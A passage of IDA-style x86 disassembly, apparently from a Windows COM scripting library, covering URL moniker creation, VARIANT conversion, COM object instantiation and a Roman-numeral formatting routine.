loc_69B73CE5: ; DATA XREF: .text:69B15FECo
push 38h
push offset dword_69B73EE8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B73D08
mov eax, 80004005h
jmp loc_69B73EDD
; ---------------------------------------------------------------------------
loc_69B73D08: ; CODE XREF: .text:69B73CFCj
mov ebx, [ebp+8]
lea ecx, [ebx-0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-2Ch], 0
and dword ptr [ebp-30h], 0
push 4
pop eax
mov ecx, eax
mov edi, offset dword_69B2AF00
mov esi, [ebp+0Ch]
xor edx, edx
repe cmpsd
mov ecx, eax
jnz loc_69B73E67
mov edi, offset stru_69B25E34
mov esi, [ebp+10h]
xor edx, edx
repe cmpsd
jz short loc_69B73DB9
mov ecx, eax
mov edi, offset dword_69B25E14
mov esi, [ebp+10h]
xor edx, edx
repe cmpsd
jz short loc_69B73DB9
mov ecx, eax
mov edi, (offset loc_69B2B07C+4)
mov esi, [ebp+10h]
xor eax, eax
repe cmpsd
jz short loc_69B73DB9
mov dword ptr [ebp-4], 1
mov ecx, [ebx+0Ch]
mov [ebp-34h], ecx
call sub_69B6F543
mov [ebp-38h], eax
mov ecx, [eax]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push eax
call dword ptr [ecx]
push eax
call sub_69B8861E
jmp loc_69B73E38
; ---------------------------------------------------------------------------
loc_69B73D99: ; DATA XREF: .text:69B73EF8o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B73DA2: ; DATA XREF: .text:69B73EFCo
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
jmp short loc_69B73E35
; ---------------------------------------------------------------------------
loc_69B73DB9: ; CODE XREF: .text:69B73D4Cj
; .text:69B73D5Cj ...
and dword ptr [ebp-4], 0
mov eax, [ebx+0Ch]
mov [ebp-3Ch], eax
mov ecx, [eax+0B4h]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov esi, eax
mov [ebp-40h], esi
mov ecx, esi
call sub_69B3DD84
mov [ebp-44h], eax
test eax, eax
jz short loc_69B73E05
mov ebx, [ebx+0Ch]
mov [ebp-48h], ebx
mov ecx, [ebx+0B4h]
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov ecx, [eax]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push eax
call dword ptr [ecx]
jmp short loc_69B73E35
; ---------------------------------------------------------------------------
loc_69B73E05: ; CODE XREF: .text:69B73DE2j
lea eax, [ebp-30h]
push eax
push offset dword_69B2B040
lea ecx, [esi+0Ch]
call sub_69B8900B
mov eax, [ebp-30h]
test eax, eax
jnz short loc_69B73E26
mov dword ptr [ebp-2Ch], 80004005h
jmp short loc_69B73E38
; ---------------------------------------------------------------------------
loc_69B73E26: ; CODE XREF: .text:69B73E1Bj
mov ecx, [eax]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+0Ch]
loc_69B73E35: ; CODE XREF: .text:69B73DB7j
; .text:69B73E03j
mov [ebp-2Ch], eax
loc_69B73E38: ; CODE XREF: .text:69B73D94j
; .text:69B73E24j ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B73EBC
; ---------------------------------------------------------------------------
loc_69B73E3E: ; DATA XREF: .text:69B73EECo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B73E47: ; DATA XREF: .text:69B73EF0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-2Ch], eax
mov eax, [ebp+14h]
and dword ptr [eax], 0
jmp short loc_69B73E38
; ---------------------------------------------------------------------------
loc_69B73E67: ; CODE XREF: .text:69B73D3Aj
mov edi, offset dword_69B2AF40
mov esi, [ebp+0Ch]
xor edx, edx
repe cmpsd
jnz short loc_69B73E88
add ebx, 0FFFFFFF0h
mov eax, [ebx]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push ebx
call dword ptr [eax]
loc_69B73E83: ; CODE XREF: .text:69B73EB3j
mov [ebp-2Ch], eax
jmp short loc_69B73EBC
; ---------------------------------------------------------------------------
loc_69B73E88: ; CODE XREF: .text:69B73E73j
mov ecx, eax
mov edi, offset dword_69B2AEF0
mov esi, [ebp+0Ch]
xor edx, edx
repe cmpsd
jnz short loc_69B73EB5
mov ecx, eax
mov edi, (offset loc_69B2B07C+4)
mov esi, [ebp+10h]
xor eax, eax
repe cmpsd
jnz short loc_69B73EB5
push dword ptr [ebp+14h]
lea ecx, [ebx-10h]
call sub_69B73C9C
jmp short loc_69B73E83
; ---------------------------------------------------------------------------
loc_69B73EB5: ; CODE XREF: .text:69B73E96j
; .text:69B73EA6j
mov dword ptr [ebp-2Ch], 80004002h
loc_69B73EBC: ; CODE XREF: .text:69B73E3Cj
; .text:69B73E86j
mov eax, [ebp-30h]
test eax, eax
jz short loc_69B73EC9
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B73EC9: ; CODE XREF: .text:69B73EC1j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B73EDD: ; CODE XREF: .text:69B73D03j
call sub_69B1853C
retn 10h
; ---------------------------------------------------------------------------
align 4
dword_69B73EE8 dd 0FFFFFFFFh dd offset loc_69B73E3E
dd offset loc_69B73E47
dd 0FFFFFFFFh
dd offset loc_69B73D99
dd offset loc_69B73DA2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B73F00(LPCWSTR szURL, LPCWSTR pszPath, int, int, int)
sub_69B73F00 proc near ; DATA XREF: .text:69B15FB8o
var_14 = byte ptr -14h
var_8 = dword ptr -8
ppmk = dword ptr -4
szURL = dword ptr 8
pszPath = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push edi
call dword_69B92948
xor edi, edi
cmp eax, edi
mov [ebp+var_8], eax
jnz short loc_69B73F20
mov eax, 80004005h
jmp loc_69B73FD1
; ---------------------------------------------------------------------------
loc_69B73F20: ; CODE XREF: sub_69B73F00+14j
push esi
mov esi, [ebp+szURL]
lea ecx, [esi-14h]
call sub_69B87FDC
push eax
push [ebp+var_8]
lea ecx, [ebp+var_14]
call sub_69B1A8C7
cmp [ebp+pszPath], edi
mov [ebp+szURL], edi
mov [ebp+ppmk], edi
jnz short loc_69B73F4A
mov esi, 80070057h
jmp short loc_69B73FBD
; ---------------------------------------------------------------------------
loc_69B73F4A: ; CODE XREF: sub_69B73F00+41j
push ebx
push edi
lea eax, [ebp+szURL]
push eax
lea ecx, [esi-18h]
call sub_69B73BF4
mov ebx, [ebp+szURL]
mov esi, eax
cmp esi, edi
jl short loc_69B73FA8
cmp ebx, edi
jz short loc_69B73F86
cmp [ebx], di
jz short loc_69B73F86
lea eax, [ebp+ppmk]
push eax ; ppmk
push ebx ; szURL
push edi ; pMkCtx
call CreateURLMoniker
mov esi, eax
cmp esi, edi
jl short loc_69B73FA8
push [ebp+arg_C]
push [ebp+pszPath]
push [ebp+ppmk]
jmp short loc_69B73F9A
; ---------------------------------------------------------------------------
loc_69B73F86: ; CODE XREF: sub_69B73F00+63j
; sub_69B73F00+68j
push [ebp+pszPath] ; pszPath
call ds:PathIsURLW ; PathIsURLW
test eax, eax
jz short loc_69B73FA3
push [ebp+arg_C] ; ppmk
push [ebp+pszPath] ; szURL
push edi ; pMkCtx
loc_69B73F9A: ; CODE XREF: sub_69B73F00+84j
call CreateURLMoniker
mov esi, eax
jmp short loc_69B73FA8
; ---------------------------------------------------------------------------
loc_69B73FA3: ; CODE XREF: sub_69B73F00+91j
mov esi, 80070057h
loc_69B73FA8: ; CODE XREF: sub_69B73F00+5Fj
; sub_69B73F00+79j ...
push ebx ; BSTR
call SysFreeString
mov eax, [ebp+ppmk]
cmp eax, edi
pop ebx
jz short loc_69B73FBD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B73FBD: ; CODE XREF: sub_69B73F00+48j
; sub_69B73F00+B5j
lea ecx, [ebp+var_14]
call sub_69B1976C
push [ebp+var_8]
call dword_69B92944
mov eax, esi
pop esi
loc_69B73FD1: ; CODE XREF: sub_69B73F00+1Bj
pop edi
leave
retn 14h
sub_69B73F00 endp
; =============== S U B R O U T I N E =======================================
sub_69B73FD6 proc near ; CODE XREF: sub_69B15D80+3Bp
mov eax, ecx
and dword ptr [eax+4], 0
retn
sub_69B73FD6 endp
; =============== S U B R O U T I N E =======================================
sub_69B73FDD proc near ; CODE XREF: sub_69B740BF+11Ep
; sub_69B741F3+7p
arg_0 = dword ptr 4
mov eax, [ecx+0Ch]
mov ecx, [esp+arg_0]
mov ecx, [ecx+0Ch]
push esi
mov esi, [eax]
xor edx, edx
push edx
push edx
push 42h
push 1
push edx
push edx
push edx
push edx
push ecx
push eax
call dword ptr [esi+14h]
mov esi, eax
cmp esi, 80020101h
jnz short loc_69B74011
call sub_69B2E808
mov ecx, eax
call sub_69B2E875
loc_69B74011: ; CODE XREF: sub_69B73FDD+26j
push esi
call sub_69B8861E
pop esi
retn 4
sub_69B73FDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B7401B(int, int, VARTYPE vt, VARIANTARG *pvarg)
sub_69B7401B proc near ; CODE XREF: sub_69B75667+2Fp
; sub_69B75E84+92p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
vt = word ptr 10h
pvarg = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push edi
xor edi, edi
cmp [ebp+arg_4], edi
mov ebx, ecx
jz short loc_69B740A7
push esi
mov esi, [ebp+arg_0]
push esi
lea ecx, [esi+8Ch]
call sub_69B70C02
mov ecx, esi
call sub_69B6E333
mov esi, [ebp+pvarg]
mov ecx, [ebp+arg_4]
mov ecx, [ecx+0Ch]
mov eax, [ebx+0Ch]
mov edx, [eax]
push edi
push esi
push 20h
push 1
push edi
push edi
push edi
push edi
push ecx
push eax
call dword ptr [edx+14h]
mov ebx, eax
cmp ebx, 80020101h
jnz short loc_69B74073
call sub_69B2E808
mov ecx, eax
call sub_69B2E875
loc_69B74073: ; CODE XREF: sub_69B7401B+4Aj
push ebx
call sub_69B8861E
mov eax, dword ptr [ebp+vt]
cmp [esi], ax
jz short loc_69B740A6
push eax ; vt
push 1 ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
push esi ; pvarSrc
push esi ; pvargDest
call VariantChangeTypeEx
mov ebx, eax
cmp ebx, edi
jz short loc_69B740A6
push esi ; pvarg
call VariantClear
push ebx
call sub_69B2E8B8
loc_69B740A6: ; CODE XREF: sub_69B7401B+64j
; sub_69B7401B+7Cj
pop esi
loc_69B740A7: ; CODE XREF: sub_69B7401B+Cj
pop edi
pop ebx
pop ebp
retn 10h
sub_69B7401B endp
; =============== S U B R O U T I N E =======================================
sub_69B740AD proc near ; CODE XREF: sub_69B70B8C+18p
mov eax, [ecx+8]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+14h]
push eax
call sub_69B8861E
retn
sub_69B740AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B740BF proc near ; CODE XREF: sub_69B16198+47p
; sub_69B74222+5p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov esi, ecx
call ds:GetCurrentThreadId ; GetCurrentThreadId
cmp [esi+2Ch], eax
mov [ebp+var_8], eax
mov [ebp+var_1], 0
jnz short loc_69B740E4
lea edi, [esi+8]
cmp dword ptr [edi], 0
jnz short loc_69B7413F
loc_69B740E4: ; CODE XREF: sub_69B740BF+1Bj
push 0
lea edi, [esi+8]
push edi
mov [ebp+var_1], 1
call sub_69B17320
push 0
lea ebx, [esi+0Ch]
push ebx
call sub_69B17320
mov eax, [ebp+var_8]
push edi ; ppv
push offset stru_69B2B130 ; riid
push 1 ; dwClsContext
mov [esi+2Ch], eax
push 0 ; pUnkOuter
lea eax, [esi+1Ch]
push eax ; rclsid
call ds:CoCreateInstance
push eax
call sub_69B8861E
mov eax, [edi]
mov ecx, [eax]
push ebx
push offset dword_69B2B120
push eax
call dword ptr [ecx]
push eax
call sub_69B8861E
mov ebx, [ebx]
mov eax, [ebx]
push ebx
call dword ptr [eax+0Ch]
push eax
call sub_69B8861E
loc_69B7413F: ; CODE XREF: sub_69B740BF+23j
mov eax, [edi]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push offset dword_69B2B110
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B74193
mov eax, [ebp+var_C]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
lea edx, [ebp+var_10]
push edx
mov ebx, offset stru_69B2B130
push ebx
push eax
call dword ptr [ecx+0Ch]
push eax
call sub_69B8861E
or [ebp+var_8], 0Fh
push [ebp+var_8]
mov eax, [ebp+var_C]
push [ebp+var_10]
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+10h]
push eax
call sub_69B8861E
mov eax, [ebp+var_C]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B74193: ; CODE XREF: sub_69B740BF+92j
mov ecx, [esi+14h]
mov eax, [edi]
mov edx, [eax]
push ecx
push eax
call dword ptr [edx+0Ch]
push eax
call sub_69B8861E
cmp [ebp+var_1], 0
jz short loc_69B741EE
mov eax, [esi+10h]
test eax, eax
jz short loc_69B741EE
cmp dword ptr [eax+0Ch], 0
jz short loc_69B741EE
mov edi, [edi]
mov eax, [edi]
push 2
push edi
call dword ptr [eax+14h]
push eax
call sub_69B8861E
push dword ptr [esi+10h]
lea ecx, [ebp+var_14]
call sub_69B8A0E9
jmp short loc_69B741E6
; ---------------------------------------------------------------------------
loc_69B741D5: ; CODE XREF: sub_69B740BF+12Dj
mov eax, [ebp+var_14]
mov eax, [eax]
push eax
mov ecx, esi
call sub_69B73FDD
add [ebp+var_14], 4
loc_69B741E6: ; CODE XREF: sub_69B740BF+114j
mov eax, [ebp+var_10]
cmp [ebp+var_14], eax
jb short loc_69B741D5
loc_69B741EE: ; CODE XREF: sub_69B740BF+EAj
; sub_69B740BF+F1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_69B740BF endp
; =============== S U B R O U T I N E =======================================
sub_69B741F3 proc near ; CODE XREF: sub_69B7521B+ACp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B73FDD
add esi, 10h
cmp dword ptr [esi], 0
jnz short loc_69B74213
call sub_69B1D7F6
push eax
push esi
call sub_69B17320
loc_69B74213: ; CODE XREF: sub_69B741F3+12j
push [esp+4+arg_0]
mov ecx, [esi]
call sub_69B8A35C
pop esi
retn 4
sub_69B741F3 endp
; =============== S U B R O U T I N E =======================================
sub_69B74222 proc near ; CODE XREF: sub_69B70D5C+40p
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
call sub_69B740BF
mov eax, [esp+0Ch+arg_0]
cmp dword ptr [eax+0A8h], 2
jnz short loc_69B7424F
mov eax, [esi+8]
mov ecx, [eax]
push 0Ch
push offset psz1 ; "Context"
push eax
call dword ptr [ecx+20h]
push eax
call sub_69B8861E
loc_69B7424F: ; CODE XREF: sub_69B74222+15j
mov eax, [esi+14h]
push 0
add eax, 20h
push eax
call sub_69B17320
mov eax, [esi+8]
mov ecx, [eax]
push 2
push eax
call dword ptr [ecx+14h]
mov ebx, eax
mov eax, [esi+14h]
add eax, 20h
mov edi, [eax]
push 0
push eax
call sub_69B17320
test edi, edi
jz short loc_69B74285
mov ecx, edi
call sub_69B2E875
loc_69B74285: ; CODE XREF: sub_69B74222+5Aj
push ebx
call sub_69B8861E
mov ecx, [esi+18h]
call sub_69B6E333
pop edi
pop esi
pop ebx
retn 4
sub_69B74222 endp
; =============== S U B R O U T I N E =======================================
sub_69B74299 proc near ; CODE XREF: sub_69B70A09+1Bp
push esi
mov esi, ecx
push edi
lea edi, [esi+8]
mov eax, [edi]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
push eax
call sub_69B8861E
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
push 0
push edi
call sub_69B17320
push 0
lea eax, [esi+0Ch]
push eax
call sub_69B17320
push 0
add esi, 18h
push esi
call sub_69B2DEB2
pop edi
pop esi
retn
sub_69B74299 endp
; =============== S U B R O U T I N E =======================================
sub_69B742DA proc near ; DATA XREF: .text:69B161F8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B742F5
test [esp+4+arg_0], 1
jz short loc_69B742EF
push esi
call sub_69B1829F
loc_69B742EF: ; CODE XREF: sub_69B742DA+Dj
mov eax, esi
pop esi
retn 4
sub_69B742DA endp
; =============== S U B R O U T I N E =======================================
sub_69B742F5 proc near ; CODE XREF: sub_69B742DA+3p
push esi
mov esi, ecx
lea eax, [esi+18h]
push eax
call sub_69B2DEDD
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B742F5 endp
; =============== S U B R O U T I N E =======================================
sub_69B7432D proc near ; CODE XREF: sub_69B70DF4+7Dp
push 30h
call sub_69B17EF3
test eax, eax
jz short loc_69B7433F
mov ecx, eax
jmp sub_69B16198
; ---------------------------------------------------------------------------
loc_69B7433F: ; CODE XREF: sub_69B7432D+9j
xor eax, eax
retn 8
sub_69B7432D endp
; =============== S U B R O U T I N E =======================================
sub_69B74344 proc near ; CODE XREF: sub_69B747A7+1Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
test ecx, ecx
jnz short loc_69B74350
xor eax, eax
jmp short locret_69B74370
; ---------------------------------------------------------------------------
loc_69B74350: ; CODE XREF: sub_69B74344+6j
mov eax, [ecx]
push esi
jmp short loc_69B74366
; ---------------------------------------------------------------------------
loc_69B74355: ; CODE XREF: sub_69B74344+29j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp eax, [esp+4+arg_0]
jz short loc_69B74373
mov eax, [esi]
mov ecx, esi
loc_69B74366: ; CODE XREF: sub_69B74344+Fj
call dword ptr [eax+64h]
mov esi, eax
test esi, esi
jnz short loc_69B74355
loc_69B7436F: ; CODE XREF: sub_69B74344+31j
pop esi
locret_69B74370: ; CODE XREF: sub_69B74344+Aj
retn 8
; ---------------------------------------------------------------------------
loc_69B74373: ; CODE XREF: sub_69B74344+1Cj
mov eax, esi
jmp short loc_69B7436F
sub_69B74344 endp
; =============== S U B R O U T I N E =======================================
sub_69B74377 proc near ; DATA XREF: .text:69B142B0o
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
mov edi, [esp+4+arg_8]
test edi, edi
jnz short loc_69B74387
mov eax, 80004003h
jmp short loc_69B743B5
; ---------------------------------------------------------------------------
loc_69B74387: ; CODE XREF: sub_69B74377+7j
cmp [esp+4+arg_4], 0
jz short loc_69B743B0
push [esp+4+arg_4]
call sub_69B47D5E
test eax, eax
jz short loc_69B743B0
push esi
or esi, 0FFFFFFFFh
loc_69B7439F: ; CODE XREF: sub_69B74377+32j
mov edx, [eax]
mov ecx, eax
inc esi
call dword ptr [edx+64h]
test eax, eax
jnz short loc_69B7439F
mov [edi], esi
pop esi
jmp short loc_69B743B5
; ---------------------------------------------------------------------------
loc_69B743B0: ; CODE XREF: sub_69B74377+15j
; sub_69B74377+22j
mov eax, 80070057h
loc_69B743B5: ; CODE XREF: sub_69B74377+Ej
; sub_69B74377+37j
pop edi
retn 0Ch
sub_69B74377 endp
; =============== S U B R O U T I N E =======================================
sub_69B743B9 proc near ; DATA XREF: .text:69B142BCo
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
jnz short loc_69B743C9
mov eax, 80004003h
jmp short loc_69B743F5
; ---------------------------------------------------------------------------
loc_69B743C9: ; CODE XREF: sub_69B743B9+7j
cmp [esp+4+arg_4], 0
jz short loc_69B743F0
push [esp+4+arg_4]
call sub_69B47D5E
test eax, eax
jz short loc_69B743F0
mov edx, [eax]
push 0
mov ecx, eax
call dword ptr [edx+88h]
inc eax
mov [esi], eax
xor eax, eax
jmp short loc_69B743F5
; ---------------------------------------------------------------------------
loc_69B743F0: ; CODE XREF: sub_69B743B9+15j
; sub_69B743B9+22j
mov eax, 80070057h
loc_69B743F5: ; CODE XREF: sub_69B743B9+Ej
; sub_69B743B9+35j
pop esi
retn 0Ch
sub_69B743B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B743F9 proc near ; CODE XREF: sub_69B7491F+B8p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B74410
xor eax, eax
jmp loc_69B74523
; ---------------------------------------------------------------------------
loc_69B74410: ; CODE XREF: sub_69B743F9+Ej
xor ecx, ecx
cmp [ebp+arg_C], ebx
mov [ebp+var_4], offset aMdclxvi ; "MDCLXVI"
jnz short loc_69B74425
mov [ebp+var_4], offset aMdclxvi_0 ; "mdclxvi"
loc_69B74425: ; CODE XREF: sub_69B743F9+23j
push esi
xor edx, edx
mov esi, 2710h
div esi
mov esi, [ebp+arg_4]
push edi
mov [ebp+arg_C], 3E8h
mov [ebp+var_8], 64h
mov [ebp+var_C], ebx
cmp edx, ebx
mov [ebp+arg_0], edx
jbe loc_69B74514
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+arg_4], eax
loc_69B74458: ; CODE XREF: sub_69B743F9+EDj
; sub_69B743F9+10Dj
cmp ecx, [ebp+arg_8]
jnb loc_69B74512
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_C]
lea edx, [eax+ecx]
cmp edx, [ebp+arg_8]
ja loc_69B7450B
cmp eax, 4
jl short loc_69B7449D
cmp [ebp+arg_C], 3E8h
jnz short loc_69B744A1
jmp short loc_69B7449D
; ---------------------------------------------------------------------------
loc_69B74485: ; CODE XREF: sub_69B743F9+A6j
cmp ecx, [ebp+arg_8]
jnb short loc_69B744A1
mov edx, [ebp+var_4]
mov dx, [edx+ebx*2]
mov [esi+ecx*2], dx
mov edx, [ebp+arg_C]
inc ecx
dec eax
sub [ebp+arg_0], edx
loc_69B7449D: ; CODE XREF: sub_69B743F9+7Fj
; sub_69B743F9+8Aj
test eax, eax
jg short loc_69B74485
loc_69B744A1: ; CODE XREF: sub_69B743F9+88j
; sub_69B743F9+8Fj
lea eax, [ecx+2]
cmp eax, [ebp+arg_8]
jnb short loc_69B7450B
mov eax, [ebp+arg_C]
mov edx, eax
sub edx, [ebp+var_8]
cmp [ebp+arg_0], edx
jb short loc_69B744D5
mov edx, [ebp+arg_4]
mov dx, [edx]
mov [esi+ecx*2], dx
mov edx, [ebp+var_4]
mov dx, [edx+ebx*2]
inc ecx
mov [esi+ecx*2], dx
mov edx, [ebp+var_8]
sub edx, eax
inc ecx
add [ebp+arg_0], edx
loc_69B744D5: ; CODE XREF: sub_69B743F9+BBj
cmp [ebp+arg_0], 0
jbe short loc_69B7450F
inc ebx
test bl, 1
jz short loc_69B744EB
shr eax, 1
mov [ebp+arg_C], eax
jmp loc_69B74458
; ---------------------------------------------------------------------------
loc_69B744EB: ; CODE XREF: sub_69B743F9+E6j
push 5
xor edx, edx
pop edi
div edi
push 0Ah
xor edx, edx
pop edi
mov [ebp+arg_C], eax
mov eax, [ebp+var_8]
div edi
add [ebp+arg_4], 4
mov [ebp+var_8], eax
jmp loc_69B74458
; ---------------------------------------------------------------------------
loc_69B7450B: ; CODE XREF: sub_69B743F9+76j
; sub_69B743F9+AEj
xor eax, eax
jmp short loc_69B74521
; ---------------------------------------------------------------------------
loc_69B7450F: ; CODE XREF: sub_69B743F9+E0j
cmp ecx, [ebp+arg_8]
loc_69B74512: ; CODE XREF: sub_69B743F9+62j
ja short loc_69B7451E
loc_69B74514: ; CODE XREF: sub_69B743F9+50j
and word ptr [esi+ecx*2], 0
xor eax, eax
inc eax
jmp short loc_69B74521
; ---------------------------------------------------------------------------
loc_69B7451E: ; CODE XREF: sub_69B743F9:loc_69B74512j
mov eax, [ebp+var_C]
loc_69B74521: ; CODE XREF: sub_69B743F9+114j
; sub_69B743F9+123j
pop edi
pop esi
loc_69B74523: ; CODE XREF: sub_69B743F9+12j
pop ebx
leave
retn 10h
sub_69B743F9 endp
; =============== S U B R O U T I N E =======================================
sub_69B74528 proc near ; CODE XREF: sub_69B7491F+1C6p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
test eax, eax
setle cl
test eax, eax
jz short loc_69B74544
push esi
loc_69B74538: ; CODE XREF: sub_69B74528+19j
push 0Ah
cdq
pop esi
idiv esi
inc ecx
test eax, eax
jnz short loc_69B74538
pop esi
loc_69B74544: ; CODE XREF: sub_69B74528+Dj
mov eax, ecx
retn 4
sub_69B74528 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B74549(int, double, int, int)
sub_69B74549 proc near ; DATA XREF: .text:69B142C4o
pvarg = VARIANTARG ptr -10h
arg_4 = qword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push edi
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
fld [ebp+arg_4]
mov edi, [ebp+arg_10]
fstp qword ptr [ebp+pvarg.anonymous_0+8]
push edi
push 0
push 0
push 0
push [ebp+arg_C]
lea eax, [ebp+pvarg]
push eax
mov word ptr [ebp+pvarg.anonymous_0], 5
call sub_69B6FDE2
mov ebx, eax
test ebx, ebx
jge short loc_69B745BD
push 8 ; vt
push 0 ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
lea eax, [ebp+pvarg]
push eax ; pvarSrc
push eax ; pvargDest
call VariantChangeTypeEx
mov ebx, eax
test ebx, ebx
jl short loc_69B745B3
push dword ptr [ebp+pvarg.anonymous_0+8] ; OLECHAR *
call SysAllocString
test eax, eax
mov [edi], eax
jnz short loc_69B745B3
mov ebx, 8007000Eh
loc_69B745B3: ; CODE XREF: sub_69B74549+54j
; sub_69B74549+63j
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
loc_69B745BD: ; CODE XREF: sub_69B74549+38j
pop edi
mov eax, ebx
pop ebx
leave
retn 14h
sub_69B74549 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B745C5 proc near ; CODE XREF: sub_69B74E1B+5j
; DATA XREF: .text:off_69B14200o
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B745E2
mov eax, 80004005h
jmp locret_69B74679
; ---------------------------------------------------------------------------
loc_69B745E2: ; CODE XREF: sub_69B745C5+11j
push ebx
mov ebx, [ebp+arg_0]
push esi
lea ecx, [ebx+0Ch]
call sub_69B87FDC
push eax
push [ebp+var_4]
lea ecx, [ebp+var_10]
call sub_69B1A8C7
push [ebp+arg_8]
mov esi, [ebp+arg_4]
push esi
push ebx
call sub_69B4062A
test eax, eax
mov [ebp+arg_0], eax
jge short loc_69B74663
push edi
push 4
pop ecx
mov edi, offset dword_69B25E54
xor eax, eax
repe cmpsd
jnz short loc_69B7462F
mov eax, [ebp+arg_8]
mov [eax], ebx
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
and [ebp+arg_0], 0
jmp short loc_69B74662
; ---------------------------------------------------------------------------
loc_69B7462F: ; CODE XREF: sub_69B745C5+57j
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B281F0
xor eax, eax
repe cmpsd
jz short loc_69B74651
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B74680
xor eax, eax
repe cmpsd
jnz short loc_69B74662
loc_69B74651: ; CODE XREF: sub_69B745C5+79j
push [ebp+arg_8]
mov ebx, [ebx+18h]
push [ebp+arg_4]
mov eax, [ebx]
push ebx
call dword ptr [eax]
mov [ebp+arg_0], eax
loc_69B74662: ; CODE XREF: sub_69B745C5+68j
; sub_69B745C5+8Aj
pop edi
loc_69B74663: ; CODE XREF: sub_69B745C5+48j
lea ecx, [ebp+var_10]
call sub_69B1976C
push [ebp+var_4]
call dword_69B92944
mov eax, [ebp+arg_0]
pop esi
pop ebx
locret_69B74679: ; CODE XREF: sub_69B745C5+18j
leave
retn 0Ch
sub_69B745C5 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B74680 dd 0F5078F15h, 11D3C551h, 0B989h, 21E21FF8h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B74690 proc near ; DATA XREF: .text:69B14214o
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
